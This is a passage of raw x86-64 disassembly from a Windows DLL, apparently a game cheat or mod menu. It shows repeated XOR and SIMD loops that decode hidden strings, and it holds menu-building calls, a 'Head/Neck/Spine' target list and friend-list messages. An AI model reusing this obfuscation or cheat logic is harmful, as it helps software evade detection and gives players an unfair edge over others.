pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6ac]
xorps xmm2, xmm1
movd dword [rbp + 0x6ac], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6b0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x6a8]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800d7e80
mov eax, dword [0x1801b360c]
mov dword [rbp + 0x14], eax
movzx eax, word [0x1801b3610]
mov word [rbp + 0x18], ax
movzx eax, byte [0x1801b3612]
mov byte [rbp + 0x14], 0x45
xor byte [rbp + 0x15], 0x38
xor byte [rbp + 0x16], 0x39
xor byte [rbp + 0x17], 0x3a
xor byte [rbp + 0x18], 0x3b
xor byte [rbp + 0x19], 0x3c
xor al, 0x3d
mov byte [rbp + 0x1a], al
lea r8, [rbp + 0x6a8]
lea rdx, [0x1802efdeb]
lea rcx, [rbp + 0x14]
call fcn.18004abb0
movsd xmm0, qword [str.vQTXTH]
movsd qword [rbp + 0x6f8], xmm0
mov ecx, dword [0x1801b3630]
mov dword [rbp + 0x700], ecx
movzx eax, word [0x1801b3634]
mov word [rbp + 0x704], ax
movzx eax, byte [0x1801b3636]
mov byte [rbp + 0x706], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d8083
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.vQTXTH]
xorps xmm1, xmm0
movd dword [rbp + 0x6f8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6fc]
xorps xmm2, xmm1
movd dword [rbp + 0x6fc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x700], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x6f8]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800d8090
lea rdx, [0x180250554]
lea rcx, [rbp + 0x6f8]
call fcn.180050140
movsd xmm0, qword [0x1801b3638]
movsd qword [rbp + 0x338], xmm0
movzx eax, byte [0x1801b3640]
mov byte [rbp + 0x338], 0x53
xor byte [rbp + 0x339], 0x38
xor byte [rbp + 0x33a], 0x39
xor byte [rbp + 0x33b], 0x3a
xor byte [rbp + 0x33c], 0x3b
xor byte [rbp + 0x33d], 0x3c
xor byte [rbp + 0x33e], 0x3d
xor byte [rbp + 0x33f], 0x3e
xor al, 0x3f
mov byte [rbp + 0x340], al
mov r8, rbx
lea rdx, [0x1802efdec]
lea rcx, [rbp + 0x338]
call fcn.18004abb0
mov eax, dword [str.qwo:dUVUOTTPX_]
mov dword [rbp - 0x50], eax
cmp byte [0x1801b3647], 0
je 0x1800d81e9
mov r8d, esi
cmp r14d, 2
jl 0x1800d81bc
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x50], xmm1
jmp 0x1800d81e9
lea r9, [rbp - 0x50]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800d81c0
mov dword [rsp + 0x28], esi
lea rdi, [0x180168a28]
mov qword [rsp + 0x20], rdi
mov r9d, 0x32
mov r8d, 1
lea rdx, [0x18025002c]
lea rcx, [rbp - 0x50]
call fcn.180052430
movsd xmm0, qword [0x1801b3648]
movsd qword [rbp + 0x3f8], xmm0
movzx eax, word [0x1801b3650]
mov word [rbp + 0x400], ax
cmp byte [0x1801b3651], 0
je 0x1800d8282
mov byte [rbp + 0x3f8], 0x53
xor byte [rbp + 0x3f9], 0x38
xor byte [rbp + 0x3fa], 0x39
xor byte [rbp + 0x3fb], 0x3a
xor byte [rbp + 0x3fc], 0x3b
xor byte [rbp + 0x3fd], 0x3c
xor byte [rbp + 0x3fe], 0x3d
xor byte [rbp + 0x3ff], 0x3e
xor byte [rbp + 0x400], 0x3f
xor byte [rbp + 0x401], 0x40
mov dword [rsp + 0x28], esi
lea rbx, str._.3f
mov qword [rsp + 0x20], rbx
movss xmm3, dword [0x180168de0]
movss xmm2, dword [0x180168ba0]
lea rdx, [0x180250558]
lea rcx, [rbp + 0x3f8]
call fcn.1800523e0
lea rax, str.Head
mov qword [rbp + 0x1a90], rax
lea rax, str.Neck
mov qword [rbp + 0x1a98], rax
lea rax, str.Spine
mov qword [rbp + 0x1aa0], rax
mov eax, dword [str.uWW_H_]
mov dword [rbp + 4], eax
movzx eax, word [0x1801b3658]
mov word [rbp + 8], ax
mov byte [rbp + 4], 0x42
xor byte [rbp + 5], 0x38
xor byte [rbp + 6], 0x39
xor byte [rbp + 7], 0x3a
xor al, 0x3b
mov byte [rbp + 8], al
xor byte [rbp + 9], 0x3c
mov dword [rsp + 0x20], r15d
mov r9d, 3
lea r8, [rbp + 0x1a90]
lea rdx, [0x1802efe10]
lea rcx, [rbp + 4]
call fcn.18004bb90
movups xmm2, xmmword [str.dWT_UHX]
movups xmmword [rbp + 0x9f8], xmm2
movzx eax, byte [0x1801b3670]
mov byte [rbp + 0xa08], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d8504
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x9f8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9fc]
xorps xmm2, xmm1
movd dword [rbp + 0x9fc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa00]
xorps xmm2, xmm1
movd dword [rbp + 0xa00], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa04]
xorps xmm2, xmm1
movd dword [rbp + 0xa04], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0x9f8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1800d8520
lea rbx, [0x180167e06]
mov r8, rbx
lea rdx, [0x1802efded]
lea rcx, [rbp + 0x9f8]
call fcn.18004abb0
movsd xmm0, qword [str._WUI_O]
movsd qword [rbp + 0x708], xmm0
mov ecx, dword [str.r_36_7E]
mov dword [rbp + 0x710], ecx
movzx eax, word [0x1801b3684]
mov word [rbp + 0x714], ax
movzx eax, byte [0x1801b3686]
mov byte [rbp + 0x716], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d86f1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._WUI_O]
xorps xmm1, xmm0
movd dword [rbp + 0x708], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x70c]
xorps xmm2, xmm1
movd dword [rbp + 0x70c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x710], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x708]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800d8700
mov r8, rbx
lea rdx, [0x1802efdee]
lea rcx, [rbp + 0x708]
call fcn.18004abb0
movsd xmm0, qword [str.g__I]
movsd qword [rbp + 0x668], xmm0
mov ecx, dword [0x1801b3690]
mov dword [rbp + 0x670], ecx
movzx eax, word [0x1801b3694]
mov word [rbp + 0x674], ax
cmp byte [0x1801b3695], 0
je 0x1800d8910
mov r8d, esi
cmp r14d, 2
jl 0x1800d88ca
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.g__I]
xorps xmm1, xmm0
movd dword [rbp + 0x668], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x66c]
xorps xmm2, xmm1
movd dword [rbp + 0x66c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x670], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x668]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800d88e0
mov r8, rbx
lea rdx, [0x1802efe15]
lea rcx, [rbp + 0x668]
call fcn.18004abb0
mov cl, 1
call fcn.180017290
mov dword [rbp + 0x248], 0x439d0000
mov dword [rbp + 0x24c], 0x41400000
lea rcx, [rbp + 0x248]
call fcn.180024f20
mov dword [rbp + 0x250], 0x43910000
mov dword [rbp + 0x254], 0x43620000
movsd xmm1, qword [str.qJP_UX]
movsd qword [rbp + 0x4f8], xmm1
mov ecx, dword [0x1801b36a0]
mov dword [rbp + 0x500], ecx
cmp byte [0x1801b36a3], 0
je 0x1800d8b09
mov r8d, esi
cmp r14d, 2
jl 0x1800d8ad3
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.qJP_UX]
xorps xmm1, xmm0
movd dword [rbp + 0x4f8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4fc]
xorps xmm2, xmm1
movd dword [rbp + 0x4fc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x500], xmm2
jmp 0x1800d8b09
lea r9, [rbp + 0x4f8]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800d8ae0
mov qword [rsp + 0x28], rbx
lea rax, [0x1801ada20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x4f8]
call fcn.180013bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1770], xmm0
mov qword [rbp + 0x1780], rax
lea rcx, [rbp + 0x1770]
call fcn.1800c68b0
nop
mov rax, qword [rbp + 0x1770]
mov qword [rsp + 0x48], rax
mov rcx, qword [rbp + 0x1778]
mov qword [rsp + 0x60], rcx
cmp rax, rcx
je 0x1800d8f98
movzx ebx, byte [rsp + 0x40]
movabs r13, 0xcccccccccccccccd
mov rcx, qword [rax]
mov rax, qword [0x1801e8e50]
mov rcx, qword [rcx + rax]
mov rax, qword [0x1801e8e60]
mov rdi, qword [rcx + rax]
mov qword [rbp - 0x60], rdi
add rcx, 0x20
mov rax, qword [0x1802efc78]
call rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x17c8], xmm0
mov qword [rbp + 0x17d8], rsi
mov qword [rbp + 0x17e0], rsi
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800d8bd0
mov rdx, rax
lea rcx, [rbp + 0x17c8]
call fcn.180048670
nop
mov dword [rbp - 0x4c], edi
lea rdx, [rbp - 0x4c]
lea rcx, [0x1802efe30]
call fcn.1800ab950
mov qword [rsp + 0x50], rax
lea r10, [rbp + 0x1abd]
mov r9, rdi
nop dword [rax]
dec r10
mov rax, r13
mul r9
shr rdx, 3
movzx ecx, dl
shl cl, 2
lea r8d, [rcx + rdx]
add r8b, r8b
sub r9b, r8b
add r9b, 0x30
mov byte [r10], r9b
mov r9, rdx
test rdx, rdx
jne 0x1800d8c10
lea r9, [rsp + 0x40]
lea r8, [rbp + 0x1abd]
mov rdx, r10
lea rcx, [rbp + 0xfb0]
call fcn.18006d400
or r12d, 6
mov dword [rbp - 0x64], r12d
mov r13, qword [rbp + 0x17d8]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 2
jb 0x1800e0bb1
lea r12, [rbp + 0x17c8]
cmp qword [rbp + 0x17e0], 0xf
cmova r12, qword [rbp + 0x17c8]
xorps xmm0, xmm0
movups xmmword [rbp + 0xfd0], xmm0
mov qword [rbp + 0xfe0], rsi
mov qword [rbp + 0xfe8], rsi
lea r15, [r13 + 2]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0xfd0]
cmp r15, rdi
jbe 0x1800d8d41
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x1800d8ce3
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1800d8d13
cmp rdi, 0x16
mov eax, socket
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1800d8cfd
xor esi, esi
jmp 0x1800d8d3a
cmp rcx, 0x1000
jb 0x1800d8d32
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800e0bab
mov rcx, rax
call fcn.18015d0b4
test rax, rax
je 0x1800d9366
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1800d8d3a
call fcn.18015d0b4
mov rsi, rax
mov qword [rbp + 0xfd0], rsi
mov qword [rbp + 0xfe0], r15
mov qword [rbp + 0xfe8], rdi
mov r8, r13
mov rdx, r12
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov word [rsi + r13], 0x2323
mov byte [rsi + r15], 0
mov r12d, dword [rbp - 0x64]
or r12d, 8
lea r9, [rbp + 0xfb0]
lea r8, [rbp + 0xfd0]
movzx edx, bl
lea rcx, [rbp + 0xff0]
call fcn.18007b430
or r12d, 0x10
lea rcx, [rbp + 0xff0]
cmp qword [rbp + 0x1008], 0xf
cmova rcx, qword [rbp + 0xff0]
lea r8, [0x180167e06]
mov rdx, qword [rsp + 0x50]
call fcn.18004abb0
movzx edi, al
mov rdx, qword [rbp + 0x1008]
cmp rdx, 0xf
jbe 0x1800d8dfe
inc rdx
mov rcx, qword [rbp + 0xff0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800d8df9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800d935f
call fcn.18015d0f0
xor esi, esi
mov qword [rbp + 0x1000], rsi
mov qword [rbp + 0x1008], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xff0], sil
mov rdx, qword [rbp + 0xfe8]
cmp rdx, 0xf
jbe 0x1800d8e5a
inc rdx
mov rcx, qword [rbp + 0xfd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800d8e55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800d9366
call fcn.18015d0f0
mov qword [rbp + 0xfe0], rsi
mov qword [rbp + reloc.WS2_32.dll_ntohse8], 0xf
mov byte [rbp + 0xfd0], 0
mov rdx, qword [rbp + 0xfc8]
cmp rdx, 0xf
jbe 0x1800d8eb4
inc rdx
mov rcx, qword [rbp + 0xfb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800d8eaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800d936d
call fcn.18015d0f0
mov qword [rbp + 0xfc0], rsi
mov qword [rbp + reloc.WS2_32.dll_ntohsc8], 0xf
mov byte [rbp + 0xfb0], 0
test dil, dil
je 0x1800d8f09
mov rax, qword [rbp - 0x60]
mov dword [rbp - 0x48], eax
lea rdx, [rbp - 0x48]
lea rcx, [0x1802efe30]
call fcn.1800ab950
lea rcx, str.Friend_List
cmp byte [rax], 0
lea rdx, str.You_have_successfully_included_player_as_a_friend
jne 0x1800d8f03
lea rdx, str.You_have_successfully_removed_player_as_a_friend
call fcn.1800bb280
nop
mov rdx, qword [rbp + 0x17e0]
cmp rdx, 0xf
jbe 0x1800d8f4a
inc rdx
mov rcx, qword [rbp + 0x17c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800d8f45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800d9374
call fcn.18015d0f0
mov qword [rbp + 0x17d8], rsi
mov qword [rbp + 0x17e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x17c8], 0
mov rax, qword [rsp + 0x48]
add rax, 8
mov qword [rsp + 0x48], rax
mov r15, 0xffffffffffffffff
cmp rax, qword [rsp + 0x60]
jne 0x1800d8b79
lea rdi, [0x180168a28]
mov r13, qword [rbp + 0xd8]
lea rbx, [0x180167e06]
lea rcx, [rbp + 0x1770]
call fcn.18005b9c0
mov cl, 1
call fcn.180017290
mov dword [rbp + 0x258], 0x41400000
mov dword [rbp + 0x25c], 0x43aa0000
lea rcx, [rbp + 0x258]
call fcn.180024f20
movzx eax, word [0x1801b36b4]
mov word [rbp - 0x6c], ax
mov dword [rbp + 0x260], 0x43910000
mov dword [rbp + 0x264], 0x43070000
movsd xmm1, qword [str.dQU_UH]
movzx eax, word [0x1801b36b0]
movsd qword [rbp + 0x4d8], xmm1
mov word [rbp + 0x4e0], ax
movzx eax, byte [0x1801b36b2]
cmp byte [0x1801b36b5], 0
je 0x1800d9020
mov byte [rbp - 0x6c], 0x34
xor byte [rbp - 0x6b], 0x38
mov byte [rbp + 0x4d8], 0x53
xor byte [rbp + 0x4d9], 0x38
xor byte [rbp + 0x4da], 0x39
xor byte [rbp + 0x4db], 0x3a
xor byte [rbp + 0x4dc], 0x3b
xor byte [rbp + 0x4dd], 0x3c
xor byte [rbp + 0x4de], 0x3d
xor byte [rbp + 0x4df], 0x3e
xor byte [rbp + 0x4e0], 0x3f
xor byte [rbp + 0x4e1], 0x40
xor al, 0x41
mov byte [rbp + 0x4e2], al
mov qword [rsp + 0x28], rbx
lea rax, [rbp - 0x6c]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x4d8]
call fcn.180013bd0
movsd xmm0, qword [str.rVXXWY]
movsd qword [rbp + 0x6b8], xmm0
mov ecx, dword [0x1801b36c0]
mov dword [rbp + 0x6c0], ecx
movzx eax, word [0x1801b36c4]
mov word [rbp + 0x6c4], ax
cmp byte [0x1801b36c5], 0
je 0x1800d9260
mov r8d, esi
cmp r14d, 2
jl 0x1800d9219
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.rVXXWY]
xorps xmm1, xmm0
movd dword [rbp + 0x6b8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
